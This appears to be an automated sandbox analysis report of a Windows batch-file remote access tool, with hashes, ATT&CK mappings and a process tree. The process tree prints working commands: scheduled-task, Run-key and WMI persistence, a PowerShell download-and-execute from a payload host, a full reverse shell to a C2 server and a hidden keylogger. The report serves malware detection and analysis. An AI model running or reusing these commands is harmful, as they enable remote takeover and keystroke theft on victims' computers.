4a1ae82e618fb555cf1e5c8d38f96adb41e898467ef91b1ae5ed79d7d932a640

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:19

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General

Target
rat_build_41307_014205.bat
Size 4KB
Sample260529-18f4lact7m
SHA256 4a1ae82e618fb555cf1e5c8d38f96adb41e898467ef91b1ae5ed79d7d932a640
MD5 40343d00f604a81272ebcffb8ba34383
SHA1 d273251ea6aa882c00ab14600052979261413a36
SHA512 1a931d0cec99bdf2dc89d364762e141d4d16b183d69626d066153057226689a98fb49e9e6002dace3954c19881141b733e11e1bd112a428d7b0c8eb5433c358e
SSDEEP 96:YJIt1iWaTLjwN4GnF/TNmyafsQAakJNqu8gtHVcmiFgZk8mvlo1vhI:yK1aTU55afRTpu8AimiFgkHlYhI
TLSH
T1B6A1D70717A7723088B05208DA323948572CE6F71302D9DFF64E8DD85D8DA87952D9E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_41307.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4016	powershell.exe
4480	powershell.exe
680	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_41307 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_41307.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4560	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1280	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4924	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4324	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4016	powershell.exe
4016	powershell.exe
4480	powershell.exe
4480	powershell.exe
680	powershell.exe
680	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2832	WMIC.exe
Token: SeSecurityPrivilege	2832	WMIC.exe
Token: SeTakeOwnershipPrivilege	2832	WMIC.exe
Token: SeLoadDriverPrivilege	2832	WMIC.exe
Token: SeSystemProfilePrivilege	2832	WMIC.exe
Token: SeSystemtimePrivilege	2832	WMIC.exe
Token: SeProfSingleProcessPrivilege	2832	WMIC.exe
Token: SeIncBasePriorityPrivilege	2832	WMIC.exe
Token: SeCreatePagefilePrivilege	2832	WMIC.exe
Token: SeBackupPrivilege	2832	WMIC.exe
Token: SeRestorePrivilege	2832	WMIC.exe
Token: SeShutdownPrivilege	2832	WMIC.exe
Token: SeDebugPrivilege	2832	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2832	WMIC.exe
Token: SeRemoteShutdownPrivilege	2832	WMIC.exe
Token: SeUndockPrivilege	2832	WMIC.exe
Token: SeManageVolumePrivilege	2832	WMIC.exe
Token: 33	2832	WMIC.exe
Token: 34	2832	WMIC.exe
Token: 35	2832	WMIC.exe
Token: 36	2832	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2832	WMIC.exe
Token: SeSecurityPrivilege	2832	WMIC.exe
Token: SeTakeOwnershipPrivilege	2832	WMIC.exe
Token: SeLoadDriverPrivilege	2832	WMIC.exe
Token: SeSystemProfilePrivilege	2832	WMIC.exe
Token: SeSystemtimePrivilege	2832	WMIC.exe
Token: SeProfSingleProcessPrivilege	2832	WMIC.exe
Token: SeIncBasePriorityPrivilege	2832	WMIC.exe
Token: SeCreatePagefilePrivilege	2832	WMIC.exe
Token: SeBackupPrivilege	2832	WMIC.exe
Token: SeRestorePrivilege	2832	WMIC.exe
Token: SeShutdownPrivilege	2832	WMIC.exe
Token: SeDebugPrivilege	2832	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2832	WMIC.exe
Token: SeRemoteShutdownPrivilege	2832	WMIC.exe
Token: SeUndockPrivilege	2832	WMIC.exe
Token: SeManageVolumePrivilege	2832	WMIC.exe
Token: 33	2832	WMIC.exe
Token: 34	2832	WMIC.exe
Token: 35	2832	WMIC.exe
Token: 36	2832	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4932	WMIC.exe
Token: SeSecurityPrivilege	4932	WMIC.exe
Token: SeTakeOwnershipPrivilege	4932	WMIC.exe
Token: SeLoadDriverPrivilege	4932	WMIC.exe
Token: SeSystemProfilePrivilege	4932	WMIC.exe
Token: SeSystemtimePrivilege	4932	WMIC.exe
Token: SeProfSingleProcessPrivilege	4932	WMIC.exe
Token: SeIncBasePriorityPrivilege	4932	WMIC.exe
Token: SeCreatePagefilePrivilege	4932	WMIC.exe
Token: SeBackupPrivilege	4932	WMIC.exe
Token: SeRestorePrivilege	4932	WMIC.exe
Token: SeShutdownPrivilege	4932	WMIC.exe
Token: SeDebugPrivilege	4932	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4932	WMIC.exe
Token: SeRemoteShutdownPrivilege	4932	WMIC.exe
Token: SeUndockPrivilege	4932	WMIC.exe
Token: SeManageVolumePrivilege	4932	WMIC.exe
Token: 33	4932	WMIC.exe
Token: 34	4932	WMIC.exe
Token: 35	4932	WMIC.exe
Token: 36	4932	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4932	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3688 wrote to memory of 4324	3688	cmd.exe	87
PID 3688 wrote to memory of 4924	3688	cmd.exe	88
PID 3688 wrote to memory of 2832	3688	cmd.exe	90
PID 3688 wrote to memory of 4932	3688	cmd.exe	91
PID 3688 wrote to memory of 1872	3688	cmd.exe	93
PID 3688 wrote to memory of 1280	3688	cmd.exe	95
PID 3688 wrote to memory of 4560	3688	cmd.exe	100
PID 3688 wrote to memory of 4016	3688	cmd.exe	101
PID 3688 wrote to memory of 4480	3688	cmd.exe	102
PID 3688 wrote to memory of 680	3688	cmd.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_41307_014205.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3688
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_41307" /tr "C:\Users\Admin\AppData\Local\Temp\_41307.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4324
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_41307" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_41307.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4924
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_41307", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2832
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_41307", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_41307.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4932
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_41307.txt
  2⤵
  PID:1872
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1280
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_41307.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:680

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 df2d40ac1fe1f8024aad58f11e9c0125287ba54dbfcdc1b4e8c372f2e62cb6ae
MD5 19fdb21be50e44ffbf9f04a1ca9eddd3
SHA1 7b631e01664ef80bcb05843ac8f5d3bae97f8504
SHA512 adc2214fbe2f03ba4ce18e9695a40ec950458546f38e677f7b9bcb4d0fadb6df4192fb5dd505090996ac8bb9055a8503bd743a4f5060390e36e24474c19317c8
TLSH
T15B117627F39CC921CC96153A409DAC1172B687DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 aaa95c33e864d970496618ad7859d0110d24eb630a48a48a9f49ac20996d0f4f
MD5 bb4a647f467aff9b9d262ebbbae63ada
SHA1 7d762d191c1e32ad81b5fe5c2e568a79ebfbc4df
SHA512 90e09570201bc8d79662922d50fa3028f7f182b677c8baab235e7895ee265e9dc2dafa22aba75cbd3bd5a5fc7a3e641a76a1a8ebba81b4b180a5a96dfbeaf404
TLSH
T151115727B39C89A1CC96163A409D9C1176B683D7809EDEDF6BC0D214A17F584CB61290
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_uc1veay2.l0t.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uc1veay2.l0t.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/680-34-0x00000247427F0000-0x000002474293E000-memory.dmp

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memory/4016-3-0x00000147BC190000-0x00000147BC1B2000-memory.dmp

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memory/4016-13-0x00000147D65F0000-0x00000147D673E000-memory.dmp

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memory/4480-24-0x000002A267460000-0x000002A2675AE000-memory.dmp

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